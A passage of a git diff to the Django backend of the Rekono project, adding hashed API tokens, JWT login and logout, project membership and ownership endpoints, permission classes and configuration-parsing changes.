Regex, Validator + + +class ApiToken(Token, BaseModel): + key = models.CharField(max_length=128, unique=True) + name = models.TextField( + max_length=100, + validators=[Validator(Regex.NAME.value, code="name")], + ) + user = models.ForeignKey( + AUTH_USER_MODEL, + related_name="api_tokens", + on_delete=models.CASCADE, + ) + expiration = models.DateTimeField( + blank=True, + null=True, + ) + + class Meta: + constraints = [ + models.UniqueConstraint(fields=["name", "user"], name="unique_api_token") + ] + + @classmethod + def generate_key(cls): + key = Token.generate_key() + return ( + Token.generate_key() if ApiToken.objects.filter(key=key).exists() else key + ) + + def __str__(self): + return f"{self.user.__str__()} - {self.name}" diff --git a/src/backend/api_tokens/serializers.py b/src/backend/api_tokens/serializers.py new file mode 100644 index 000000000..fa7804567 --- /dev/null +++ b/src/backend/api_tokens/serializers.py @@ -0,0 +1,25 @@ +from typing import Any + +from api_tokens.models import ApiToken +from rest_framework.serializers import ModelSerializer +from security.utils.cryptography import hash + + +class ApiTokenSerializer(ModelSerializer): + class Meta: + model = ApiToken + fields = ("id", "name", "expiration") + + +class CreateApiTokenSerializer(ModelSerializer): + class Meta: + model = ApiToken + fields = ("id", "key", "name", "expiration") + read_only_fields = ("key",) + + def save(self, **kwargs: Any) -> ApiToken: + plain_key = ApiToken.generate_key() + self.validated_data["key"] = hash(plain_key) + api_token = super().save(**kwargs) + api_token.key = plain_key + return api_token diff --git a/src/backend/api_tokens/urls.py b/src/backend/api_tokens/urls.py new file mode 100644 index 000000000..60640fa11 --- /dev/null +++ b/src/backend/api_tokens/urls.py @@ -0,0 +1,7 @@ +from api_tokens.views import ApiTokenViewSet +from rest_framework.routers import SimpleRouter + +router = SimpleRouter() +router.register("api-tokens", ApiTokenViewSet) + +urlpatterns = router.urls diff --git a/src/backend/api_tokens/views.py b/src/backend/api_tokens/views.py new file mode 100644 index 000000000..561b90f01 --- /dev/null +++ b/src/backend/api_tokens/views.py @@ -0,0 +1,32 @@ +from api_tokens.filters import ApiTokenFilter +from api_tokens.models import ApiToken +from api_tokens.serializers import ApiTokenSerializer, CreateApiTokenSerializer +from django.db.models import QuerySet +from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from rest_framework.serializers import Serializer + +# Create your views here. + + +class ApiTokenViewSet(BaseViewSet): + queryset = ApiToken.objects.all() + serializer_class = ApiTokenSerializer + filterset_class = ApiTokenFilter + permission_classes = [IsAuthenticated] + http_method_names = [ + "get", + "post", + "delete", + ] + search_fields = ["name"] + ordering_fields = ["id", "name", "expiration"] + owner_field = "user" + + def get_queryset(self) -> QuerySet: + return super().get_queryset().filter(user=self.request.user).all() + + def get_serializer_class(self) -> Serializer: + if self.request.method == "POST": + return CreateApiTokenSerializer + return super().get_serializer_class() diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index 076ab571f..af710ffed 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -6,7 +6,7 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validation import Regex, Validator +from security.utils.input_validator import Regex, Validator from target_ports.models import TargetPort # Create your models here. @@ -83,3 +83,7 @@ def get_project(self) -> Project: Project: Related project entity """ return self.target_port.target.project + + @classmethod + def get_project_field(cls) -> str: + return "target_port__target__project" diff --git a/src/backend/authentications/serializers.py b/src/backend/authentications/serializers.py index f6c9fd781..36b845a0b 100644 --- a/src/backend/authentications/serializers.py +++ b/src/backend/authentications/serializers.py @@ -3,7 +3,7 @@ from authentications.models import Authentication from framework.fields import ProtectedSecretField from rest_framework.serializers import ModelSerializer -from security.input_validation import Regex, Validator +from security.utils.input_validator import Regex, Validator class AuthenticationSerializer(ModelSerializer): diff --git a/src/backend/framework/exceptions.py b/src/backend/framework/exceptions.py new file mode 100644 index 000000000..64d7cb653 --- /dev/null +++ b/src/backend/framework/exceptions.py @@ -0,0 +1,16 @@ +from django.db.utils import IntegrityError +from psycopg2.errors import UniqueViolation +from rest_framework.response import Response +from rest_framework.status import HTTP_400_BAD_REQUEST +from rest_framework.views import exception_handler + + +def exceptions_handler(exc, context): + if exc.__class__ in [UniqueViolation, IntegrityError]: + response = Response( + {"constraint": ["This object already exists"]}, + status=HTTP_400_BAD_REQUEST, + ) + else: + response = exception_handler(exc, context) + return response diff --git a/src/backend/framework/filters.py b/src/backend/framework/filters.py new file mode 100644 index 000000000..8eaaabcc5 --- /dev/null +++ b/src/backend/framework/filters.py @@ -0,0 +1,23 @@ +from django.db.models import Q, QuerySet +from django_filters.rest_framework import FilterSet, filters + + +class LikeFilter(FilterSet): + """Filter that allows queryset filtering based on current user likes.""" + + # Indicate if user likes or not the entities + like = filters.BooleanFilter(method="get_liked_items") + + def get_liked_items(self, queryset: QuerySet, name: str, value: bool) -> QuerySet: + """Filter queryset based on current user likes. + + Args: + queryset (QuerySet): Queryset to be filtered + name (str): Field name. Not used in this case + value (bool): Indicate if current user likes or not the entities + + Returns: + QuerySet: Queryset filtered by the current user likes + """ + liked = {"liked_by": self.request.user} + return queryset.filter(Q(**liked) if value else ~Q(**liked)).all() diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index abb30bf01..9cb29b29c 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -3,15 +3,26 @@ import requests import urllib3 from django.db import models +from rekono.settings import AUTH_USER_MODEL -class BaseInput(models.Model): +class BaseModel(models.Model): + class Meta: + abstract = True + + def get_project(self) -> Any: + return None + + @classmethod + def get_project_field(cls) -> str: + return None + + +class BaseInput(BaseModel): """Class to be extended by all the objects that can be used in tool executions as argument.""" class Meta: - """Model metadata.""" - - abstract = True # To be extended by models that can be used in tool executions as argument + abstract = True class Filter: def __init__( @@ -120,3 +131,12 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ return {} # pragma: no cover + + +class BaseLike(BaseModel): + """Common and abstract LikeBase model, to define common fields for all models that user can like.""" + + liked_by = models.ManyToManyField(AUTH_USER_MODEL, related_name="liked_%(class)s") + + class Meta: + abstract = True diff --git a/src/backend/framework/serializers.py b/src/backend/framework/serializers.py new file mode 100644 index 000000000..1d6b07e08 --- /dev/null +++ b/src/backend/framework/serializers.py @@ -0,0 +1,37 @@ +from typing import Any + +from rest_framework.serializers import Serializer, SerializerMethodField +from users.models import User + + +class LikeSerializer(Serializer): + """Common serializer for all models that can be liked.""" + + liked = SerializerMethodField(method_name="is_liked_by_user", read_only=True) + likes = SerializerMethodField(method_name="count_likes", read_only=True) + + def is_liked_by_user(self, instance: Any) -> bool: + """Check if an instance is liked by the current user or not. + + Args: + instance (Any): Instance to check + + Returns: + bool: Indicate if the current user likes this instance or not + """ + check_likes = { + "pk": self.context.get("request").user.id, + f"liked_{instance.__class__.__name__.lower()}": instance, + } + return User.objects.filter(**check_likes).exists() + + def count_likes(self, instance: Any) -> int: + """Count number of likes for an instance. + + Args: + instance (Any): Instance to check + + Returns: + int: Number of likes for this instance + """ + return instance.liked_by.count() diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py index d76cf70e3..1b649c922 100644 --- a/src/backend/framework/views.py +++ b/src/backend/framework/views.py @@ -1,4 +1,18 @@ -from rest_framework.viewsets import ModelViewSet +from typing import Any, Dict + +from django.core.exceptions import PermissionDenied +from django.db.models import Count, QuerySet +from drf_spectacular.utils import extend_schema +from framework.models import BaseModel +from projects.models import Project +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework.serializers import Serializer +from rest_framework.viewsets import GenericViewSet, ModelViewSet +from security.authorization.permissions import IsAuditor class BaseViewSet(ModelViewSet): @@ -10,3 +24,113 @@ class BaseViewSet(ModelViewSet): "put", "delete", ] + owner_field = "owner" + + def _get_model(self) -> BaseModel: + for cls in [ + self.get_serializer_class(), + self.filterset_class if hasattr(self, "filterset_class") else None, + ]: + if cls and hasattr(cls, "Meta") and hasattr(cls.Meta, "model"): + return cls.Meta.model + + def _get_project_from_data( + self, project_field: str, data: Dict[str, Any] + ) -> Project: + fields = project_field.split("__") + data = data.get(fields[0], {}) + for field in fields[1:]: + data = getattr(data, field) + return data + + def get_queryset(self) -> None: + model = self._get_model() + members_field = None + if model: + if model == Project: + members_field = "members" + elif model.get_project_field(): + members_field = f"{model.get_project_field()}__members" + if members_field: + if self.request.user.id: + project_filter = {members_field: self.request.user} + return super().get_queryset().filter(**project_filter) + else: + return None + return super().get_queryset() + + def perform_create(self, serializer: Serializer) -> None: + model = self._get_model() + if model and model.get_project_field(): + project = self._get_project_from_data( + model.get_project_field(), serializer.validated_data + ) + if project and self.request.user not in project.members.all(): + raise PermissionDenied() + if self.owner_field and model and hasattr(model, self.owner_field): + parameters = {self.owner_field: self.request.user} + serializer.save(**parameters) + return + super().perform_create(serializer) + + +class LikeViewSet(GenericViewSet): + """Base ViewSet that includes the like and dislike features.""" + + def get_queryset(self) -> QuerySet: + """Get the model queryset. It's required for allow the access to the likes count by the child ViewSets. + + Returns: + QuerySet: Model queryset + """ + return super().get_queryset().annotate(likes_count=Count("liked_by")) + + @extend_schema(request=None, responses={201: None}) + # Permission classes are overrided to IsAuthenticated and IsAuditor, because currently only Tools, Processes and + # Wordlists can be liked, and auditors and admins are the only ones that can see this resources. + # Permission classes should be overrided here, because if not, the standard permissions would be applied, and not + # all auditors can make POST requests to resources like these. + @action( + detail=True, + methods=["POST"], + url_path="like", + url_name="like", + permission_classes=[IsAuthenticated, IsAuditor], + ) + def like(self, request: Request, pk: str) -> Response: + """Mark an instance as liked by the current user. + + Args: + request (Request): Received HTTP request + pk (str): Instance Id + + Returns: + Response: HTTP Response + """ + self.get_object().liked_by.add(request.user) + return Response(status=status.HTTP_201_CREATED) + + @extend_schema(request=None, responses={204: None}) + # Permission classes is overrided to IsAuthenticated and IsAuditor, because currently only Tools, Processes and + # Resources (Wordlists) can be liked, and auditors and admins are the only ones that can see this resources. + # Permission classes should be overrided here, because if not, the standard permissions would be applied, and not + # all auditors can make POST requests to resources like these. + @action( + detail=True, + methods=["POST"], + url_path="dislike", + url_name="dislike", + permission_classes=[IsAuthenticated, IsAuditor], + ) + def dislike(self, request: Request, pk: str) -> Response: + """Unmark an instance as liked by the current user. + + Args: + request (Request): Received HTTP request + pk (str): Instance Id + + Returns: + Response: HTTP Response + """ + self.get_object().liked_by.remove(request.user) + return Response(status=status.HTTP_204_NO_CONTENT) diff --git a/src/backend/input_types/models.py b/src/backend/input_types/models.py index 0b7c8bd3f..a9e496d69 100644 --- a/src/backend/input_types/models.py +++ b/src/backend/input_types/models.py @@ -2,13 +2,13 @@ from django.apps import apps from django.db import models -from framework.models import BaseInput +from framework.models import BaseInput, BaseModel from input_types.enums import InputTypeName # Create your models here. -class InputType(models.Model): +class InputType(BaseModel): """Input type model, related to each object type that can be included in a tool argument.""" name = models.TextField(max_length=15, choices=InputTypeName.choices) diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 9d7e1e002..89b2a60b1 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -4,7 +4,7 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validation import Regex, Validator +from security.utils.input_validator import Regex, Validator from targets.models import Target # Create your models here. @@ -29,7 +29,11 @@ class InputTechnology(BaseInput): filters = [BaseInput.Filter(type=str, field="name", contains=True)] class Meta: - unique_together = ["target", "name", "version"] + constraints = [ + models.UniqueConstraint( + fields=["target", "name", "version"], name="unique_input_technology" + ) + ] def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. @@ -63,6 +67,10 @@ def get_project(self) -> Project: """ return self.target.project + @classmethod + def get_project_field(cls) -> str: + return "target__project" + class InputVulnerability(BaseInput): """Input vulnerability model.""" @@ -80,7 +88,11 @@ class InputVulnerability(BaseInput): ] class Meta: - unique_together = ["target", "cve"] + constraints = [ + models.UniqueConstraint( + fields=["target", "cve"], name="unique_input_vulnerability" + ) + ] def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. @@ -110,3 +122,7 @@ def get_project(self) -> Project: Project: Related project entity """ return self.target.project + + @classmethod + def get_project_field(cls) -> str: + return "target__project" diff --git a/src/backend/projects/filters.py b/src/backend/projects/filters.py index 990657d52..7404a9aa3 100644 --- a/src/backend/projects/filters.py +++ b/src/backend/projects/filters.py @@ -6,12 +6,11 @@ class ProjectFilter(FilterSet): """FilterSet to filter Project entities.""" class Meta: - model = Project fields = { "name": ["exact", "icontains"], - # "owner": ["exact"], - # "owner__username": ["exact"], - # "members": ["exact"], + "owner": ["exact"], + "owner__username": ["exact"], + "members": ["exact"], "tags__name": ["in"], } diff --git a/src/backend/projects/models.py b/src/backend/projects/models.py index 5eddabd5a..adf08ca4c 100644 --- a/src/backend/projects/models.py +++ b/src/backend/projects/models.py @@ -1,14 +1,15 @@ from typing import Any -from django.conf import settings from django.db import models -from security.input_validation import Regex, Validator +from framework.models import BaseModel +from rekono.settings import AUTH_USER_MODEL +from security.utils.input_validator import Regex, Validator from taggit.managers import TaggableManager # Create your models here. -class Project(models.Model): +class Project(BaseModel): """Project model.""" name = models.TextField( @@ -20,13 +21,13 @@ class Project(models.Model): max_length=300, validators=[Validator(Regex.TEXT.value, code="description")] ) # User that created the project - # owner = models.ForeignKey( - # settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True - # ) + owner = models.ForeignKey( + AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True + ) # Relation with all users that belong to the project - # members = models.ManyToManyField( - # settings.AUTH_USER_MODEL, related_name="projects", blank=True - # ) + members = models.ManyToManyField( + AUTH_USER_MODEL, related_name="projects", blank=True + ) tags = TaggableManager() # Project tags def __str__(self) -> str: diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index 5cd096e65..f17e4bb15 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -4,8 +4,11 @@ from django.db import transaction from framework.fields import TagField from projects.models import Project -from rest_framework.serializers import ModelSerializer +from rest_framework.serializers import IntegerField, ModelSerializer, Serializer from taggit.serializers import TaggitSerializer +from targets.serializers import SimpleTargetSerializer +from users.models import User +from users.serializers import SimpleUserSerializer logger = logging.getLogger() @@ -14,9 +17,9 @@ class ProjectSerializer(TaggitSerializer, ModelSerializer): """Serializer to manage projects via API.""" # Target details for read operations - # targets = TargetSerializer(read_only=True, many=True) + targets = SimpleTargetSerializer(read_only=True, many=True) # Owner details for read operations - # owner = SimplyUserSerializer(many=False, read_only=True) + owner = SimpleUserSerializer(many=False, read_only=True) tags = TagField() # Tags class Meta: @@ -27,24 +30,16 @@ class Meta: "id", "name", "description", - # "defectdojo_product_id", - # "defectdojo_engagement_id", - # "defectdojo_engagement_by_target", - # "defectdojo_synchronization", - # "owner", - # "targets", - # "members", + "owner", + "targets", + "members", "tags", ) - # read_only_fields = ( - # "defectdojo_product_id", - # "defectdojo_engagement_id", - # "defectdojo_engagement_by_target", - # "defectdojo_synchronization", - # "owner", - # "targets", - # "members", - # ) + read_only_fields = ( + "owner", + "targets", + "members", + ) @transaction.atomic() def create(self, validated_data: Dict[str, Any]) -> Project: @@ -58,30 +53,26 @@ def create(self, validated_data: Dict[str, Any]) -> Project: """ project = super().create(validated_data) # Create project # Add project owner also in member list - # project.members.add(validated_data.get("owner")) + project.members.add(validated_data.get("owner")) return project -# class ProjectMemberSerializer(serializers.Serializer): -# """Serializer to add new member to a project via API.""" +class ProjectMemberSerializer(Serializer): + """Serializer to add new member to a project via API.""" -# user = serializers.IntegerField( -# required=True -# ) # User Id to add to the project members + user = IntegerField(required=True) -# @transaction.atomic() -# def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: -# """Update instance from validated data. + @transaction.atomic() + def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: + """Update instance from validated data. -# Args: -# instance (Project): Instance to update -# validated_data (Dict[str, Any]): Validated data + Args: + instance (Project): Instance to update + validated_data (Dict[str, Any]): Validated data -# Returns: -# Project: Updated instance -# """ -# user = User.objects.get( -# pk=validated_data.get("user"), is_active=True -# ) # Get active user from user Id -# instance.members.add(user) # Add user as project member -# return instance + Returns: + Project: Updated instance + """ + user = User.objects.get(pk=validated_data.get("user"), is_active=True) + instance.members.add(user) + return instance diff --git a/src/backend/projects/views.py b/src/backend/projects/views.py index fff72c1b5..53afa0adc 100644 --- a/src/backend/projects/views.py +++ b/src/backend/projects/views.py @@ -1,12 +1,18 @@ +from drf_spectacular.utils import extend_schema from framework.views import BaseViewSet from projects.filters import ProjectFilter from projects.models import Project -from projects.serializers import ProjectSerializer +from projects.serializers import ProjectMemberSerializer, ProjectSerializer +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.generics import get_object_or_404 +from rest_framework.request import Request +from rest_framework.response import Response +from users.models import User # Create your views here. -# GetViewSet, CreateWithUserViewSet class ProjectViewSet(BaseViewSet): """Project ViewSet that includes: get, retrieve, create, update, delete and Defect-Dojo features.""" @@ -16,58 +22,51 @@ class ProjectViewSet(BaseViewSet): search_fields = ["name", "description"] # Fields used to search projects ordering_fields = ["id", "name"] - # members_field = "members" - # user_field = "owner" + @extend_schema(request=ProjectMemberSerializer, responses={201: None}) + @action(detail=True, methods=["POST"], url_path="members", url_name="members") + def add_member(self, request: Request, pk: str) -> Response: + """Add user to the project members. - # @extend_schema(request=ProjectMemberSerializer, responses={201: None}) - # @action(detail=True, methods=["POST"], url_path="members", url_name="members") - # def add_project_member(self, request: Request, pk: str) -> Response: - # """Add user to the project members. + Args: + request (Request): Received HTTP request + pk (str): Instance Id - # Args: - # request (Request): Received HTTP request - # pk (str): Instance Id + Returns: + Response: HTTP Response + """ + project = self.get_object() + serializer = ProjectMemberSerializer(data=request.data) + serializer.is_valid(raise_exception=True) + try: + serializer.update(project, serializer.validated_data) + return Response(status=status.HTTP_201_CREATED) + except User.DoesNotExist: + return Response(status=status.HTTP_404_NOT_FOUND) - # Returns: - # Response: HTTP Response - # """ - # project = self.get_object() - # serializer = ProjectMemberSerializer(data=request.data) - # if serializer.is_valid(): - # try: - # serializer.update( - # project, serializer.validated_data - # ) # Add project member - # return Response(status=status.HTTP_201_CREATED) - # except User.DoesNotExist: - # return Response(status=status.HTTP_404_NOT_FOUND) # User not found - # return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) + @action( + detail=True, + methods=["DELETE"], + url_path="members/(?P[0-9])", + url_name="remove_member", + ) + def remove_member(self, request: Request, member_id: str, pk: str) -> Response: + """Remove user from the project members. - # @action( - # detail=True, - # methods=["DELETE"], - # url_path="members/(?P[0-9])", - # url_name="delete_member", - # ) - # def delete_project_member( - # self, request: Request, member_id: str, pk: str - # ) -> Response: - # """Remove user from the project members. + Args: + request (Request): Received HTTP request + member_id (str): User Id to be removed + pk (str): Instance Id - # Args: - # request (Request): Received HTTP request - # member_id (str): User Id to be removed - # pk (str): Instance Id - - # Returns: - # Response: HTTP Response - # """ - # project = self.get_object() - # member = get_object_or_404( - # project.members, pk=member_id - # ) # Get member from project members - # if int(member_id) != project.owner.id: - # # Member found and it isn't the project owner - # project.members.remove(member) # Remove project member - # return Response(status=status.HTTP_204_NO_CONTENT) - # return Response(status=status.HTTP_400_BAD_REQUEST) + Returns: + Response: HTTP Response + """ + project = self.get_object() + member = get_object_or_404(project.members, pk=member_id) + if int(member_id) != project.owner.id: + # Member found and it isn't the project owner + project.members.remove(member) # Remove project member + return Response(status=status.HTTP_204_NO_CONTENT) + return Response( + {"user": ["The project owner can't be removed"]}, + status=status.HTTP_400_BAD_REQUEST, + ) diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index ca5410b0f..01dbfcf83 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -19,9 +19,6 @@ def __init__(self) -> None: self.config_file = self._get_config_file() with open(self.config_file, "r") as file: self._config_properties = yaml.safe_load(file) - self.trusted_proxy = self._get_config(Property.TRUSTED_PROXY).lower() == "true" - self.allowed_hosts = self._get_list_config(Property.ALLOWED_HOSTS) - self.base_target_blacklist = self._get_list_config(Property.TARGET_BLACKLIST) for property in Property: if not hasattr(self, property.name.lower()) or not getattr( self, property.name.lower() @@ -55,24 +52,22 @@ def _create_missing_directories(self, directories: List[str]) -> None: if not os.path.isdir(directory): os.mkdir(directory) - def _get_list_config(self, property: Property) -> List[str]: - if property.value[0]: - value = os.getenv(property.value[0]) - if value: - list_value = [] - for separator in [" ", ",", ";"]: - if separator in value: - list_value = value.split(separator) - break - return list_value if list_value else [value] - return self._get_config(property) if property.value[1] else property.value[2] - def _get_config(self, property: Property) -> Any: - value = property.value[2] + default_value = value = property.value[2] if property.value[1]: value = self._get_config_from_file(property.value[1]) or value if property.value[0]: - value = os.getenv(property.name, value) + env_value = os.getenv(property.value[0]) + value = env_value or value + if isinstance(default_value, list) and env_value: + list_value = [] + for separator in [" ", ",", ";"]: + if separator in env_value: + list_value = env_value.split(separator) + break + value = list_value or [env_value] + if isinstance(default_value, bool) and not isinstance(value, bool): + value = str(value).lower() == "true" return value def _get_config_from_file(self, property: str) -> Optional[Any]: diff --git a/src/backend/rekono/properties.py b/src/backend/rekono/properties.py index 497944b90..dd66107a1 100644 --- a/src/backend/rekono/properties.py +++ b/src/backend/rekono/properties.py @@ -1,6 +1,6 @@ from enum import Enum -from security.crypto import generate_random_value +from security.utils.cryptography import generate_random_value class Property(Enum): @@ -32,7 +32,8 @@ class Property(Enum): "nginx", ], ) - TRUSTED_PROXY = ("RKN_TRUSTED_PROXY", None, "false") + TRUSTED_PROXY = ("RKN_TRUSTED_PROXY", None, False) + OTP_EXPIRATION_HOURS = (None, None, 24) DB_NAME = ("RKN_DB_NAME", "database.name", "rekono") DB_USER = ("RKN_DB_USER", "database.user", "") DB_PASSWORD = ("RKN_DB_PASSWORD", "database.password", "") @@ -41,10 +42,10 @@ class Property(Enum): RQ_HOST = ("RKN_RQ_HOST", "rq.host", "127.0.0.1") RQ_PORT = ("RKN_RQ_PORT", "rq.port", 6379) SMTP_HOST = ("RKN_SMTP_HOST", "email.host", None) - SMTP_PORT = ("RKN_SMTP_PORT", "email.port", None) + SMTP_PORT = ("RKN_SMTP_PORT", "email.port", 587) SMTP_USER = ("RKN_SMTP_USER", "email.user", None) SMTP_PASSWORD = ("RKN_SMTP_PASSWORD", "email.password", None) - SMTP_TLS = (None, "email.tls", True) + SMTP_TLS = ("RKN_SMTP_TLS", "email.tls", True) CMSEEK_DIR = ( "RKN_CMSEEK_RESULTS", "tools.cmseek.directory", diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 3ae965f41..262fe5417 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -11,9 +11,12 @@ """ import os +from datetime import timedelta from typing import Any, Dict +from urllib.parse import urlparse from rekono.config import RekonoConfig +from security.authorization.roles import Role ################################################################################ # Rekono basic information # @@ -48,17 +51,21 @@ "drf_spectacular", "rest_framework", "taggit", + "api_tokens", "authentications", "input_types", "parameters", "projects", + "security", "settings", "target_ports", "targets", + "users", "wordlists", ] MIDDLEWARE = [ + "security.middleware.SecurityMiddleware", "django.middleware.security.SecurityMiddleware", "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.common.CommonMiddleware", @@ -101,6 +108,8 @@ ALLOWED_HOSTS = CONFIG.allowed_hosts +AUTH_USER_MODEL = "users.User" + AUTH_PASSWORD_VALIDATORS = [ { "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", @@ -117,8 +126,22 @@ { "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, + { + "NAME": "security.utils.input_validator.PasswordValidator", + }, ] +# JWT configuration +SIMPLE_JWT = { + "ACCESS_TOKEN_LIFETIME": timedelta(minutes=5), + "REFRESH_TOKEN_LIFETIME": timedelta(hours=1), + "ROTATE_REFRESH_TOKENS": True, + "BLACKLIST_AFTER_ROTATION": True, + "UPDATE_LAST_LOGIN": True, + "ALGORITHM": "HS512", + "SIGNING_KEY": SECRET_KEY, +} + LOGGING = { "version": 1, # Disable default Django logging system @@ -170,8 +193,17 @@ "rest_framework.filters.SearchFilter", ], "DEFAULT_PAGINATION_CLASS": "framework.pagination.Pagination", - "DEFAULT_AUTHENTICATION_CLASSES": [], - "DEFAULT_PERMISSION_CLASSES": [], + "DEFAULT_AUTHENTICATION_CLASSES": [ + "security.authentication.api.ApiAuthentication", + "rest_framework_simplejwt.authentication.JWTAuthentication", + ], + "DEFAULT_PERMISSION_CLASSES": [ + "rest_framework.permissions.IsAuthenticated", + "rest_framework.permissions.DjangoModelPermissions", + "security.authorization.permissions.ProjectMemberPermission", + "security.authorization.permissions.OwnerPermission", + ], + "EXCEPTION_HANDLER": "framework.exceptions.exceptions_handler", } if not CONFIG.testing: # Rate limit only for production diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index e5e1c6885..e768e873c 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -25,12 +25,15 @@ urlpatterns = [ path("admin/", admin.site.urls), + path("api/", include("api_tokens.urls")), path("api/", include("authentications.urls")), path("api/", include("parameters.urls")), path("api/", include("projects.urls")), + path("api/", include("security.authentication.urls")), path("api/", include("settings.urls")), path("api/", include("target_ports.urls")), path("api/", include("targets.urls")), + path("api/", include("users.urls")), path("api/", include("wordlists.urls")), # OpenAPI specification path("api/schema/", SpectacularAPIView.as_view(), name="schema"), diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index a9456d97d..bd795cd38 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,5 +1,5 @@ defusedxml==0.7.1 -Django==4.2.4 +Django==4.2.5 djangorestframework==3.14.0 djangorestframework-simplejwt==5.2.2 django-filter==23.2 diff --git a/src/backend/security/apps.py b/src/backend/security/apps.py index d622f5bef..ae00c67bb 100644 --- a/src/backend/security/apps.py +++ b/src/backend/security/apps.py @@ -1,30 +1,5 @@ from django.apps import AppConfig -from typing import Any -from security.authorization.roles import get_roles -from django.db.models.signals import post_migrate class SecurityConfig(AppConfig): name = "security" - - def ready(self) -> None: - """Run code as soon as the registry is fully populated.""" - # Initialize user groups based on permissions after migration - post_migrate.connect(self.initialize_user_groups, sender=self) - - def initialize_user_groups(self, **kwargs: Any) -> None: - """Initialize user groups in database.""" - # Get Group model - group_model = kwargs["apps"].get_model(app_label="auth", model_name="group") - # Get permission model - permission_model = kwargs["apps"].get_model( - app_label="auth", model_name="permission" - ) - for role, permissions in get_roles().items(): - group, _ = group_model.objects.get_or_create(name=str(role)) # Create group - permission_set = [] - for permission_id in permissions: # For each permission - # Get permission model - permission = permission_model.objects.get(codename=permission_id) - permission_set.append(permission) - group.permissions.set(permission_set) # Assignate permissions to the group diff --git a/src/backend/security/authentication/__init__.py b/src/backend/security/authentication/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/security/authentication/api.py b/src/backend/security/authentication/api.py new file mode 100644 index 000000000..ff69a5efe --- /dev/null +++ b/src/backend/security/authentication/api.py @@ -0,0 +1,20 @@ +from typing import Any, Tuple + +from api_tokens.models import ApiToken +from django.utils import timezone +from rest_framework.authentication import TokenAuthentication +from rest_framework.exceptions import AuthenticationFailed +from security.utils.cryptography import hash + + +class ApiAuthentication(TokenAuthentication): + model = ApiToken + + def authenticate_credentials(self, key): + return super().authenticate_credentials(hash(key)) + + def authenticate_credentials(self, key) -> Tuple[Any, Any]: + user, token = super().authenticate_credentials(hash(key)) + if token.expiration and token.expiration < timezone.now(): + raise AuthenticationFailed("API token has expired") + return user, token diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py new file mode 100644 index 000000000..aa11b81c8 --- /dev/null +++ b/src/backend/security/authentication/serializers.py @@ -0,0 +1,40 @@ +import logging +from typing import Any, Dict + +from django.db.models import Model +from rest_framework.serializers import CharField, Serializer +from rest_framework_simplejwt.serializers import TokenObtainPairSerializer +from rest_framework_simplejwt.tokens import RefreshToken +from security.authorization.roles import Role +from users.models import User + +logger = logging.getLogger() # Rekono logger + + +class LoginSerializer(TokenObtainPairSerializer): + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) # User login + # TODO: Send email notification to the user + logger.info( + f"[Security] User {self.user.id} has logged in", + extra={"user": self.user.id}, + ) + return attrs + + @classmethod + def get_token(cls, user: User) -> Dict[str, Any]: + token = super().get_token(user) # Get standard claims + group = user.groups.first() + token["role"] = group.name if group else Role.READER.value + return token + + +class LogoutSerializer(Serializer): + """Serializer to user logout via API.""" + + refresh_token = CharField(max_length=500, required=True) + + def save(self, **kwargs: Any) -> None: + """Perform the logout operation, including the refresh token in the blacklist.""" + token = RefreshToken(self.validated_data.get("refresh_token")) + token.blacklist() # Add refresh token to the blacklist diff --git a/src/backend/security/authentication/urls.py b/src/backend/security/authentication/urls.py new file mode 100644 index 000000000..105cfa836 --- /dev/null +++ b/src/backend/security/authentication/urls.py @@ -0,0 +1,20 @@ +from django.urls import include, path +from rest_framework.routers import SimpleRouter +from security.authentication.views import ( + LoginViewSet, + LogoutViewSet, + RefreshTokenViewSet, +) + +# Register your views here. + +router = SimpleRouter() +router.register("security/logout", LogoutViewSet, basename="logout") + +urlpatterns = [ + path("security/login/", LoginViewSet.as_view(), name="login"), + path( + "security/refresh-token/", RefreshTokenViewSet.as_view(), name="refresh-token" + ), + path("", include(router.urls)), +] diff --git a/src/backend/security/authentication/views.py b/src/backend/security/authentication/views.py new file mode 100644 index 000000000..5a88a7566 --- /dev/null +++ b/src/backend/security/authentication/views.py @@ -0,0 +1,46 @@ +import logging +from 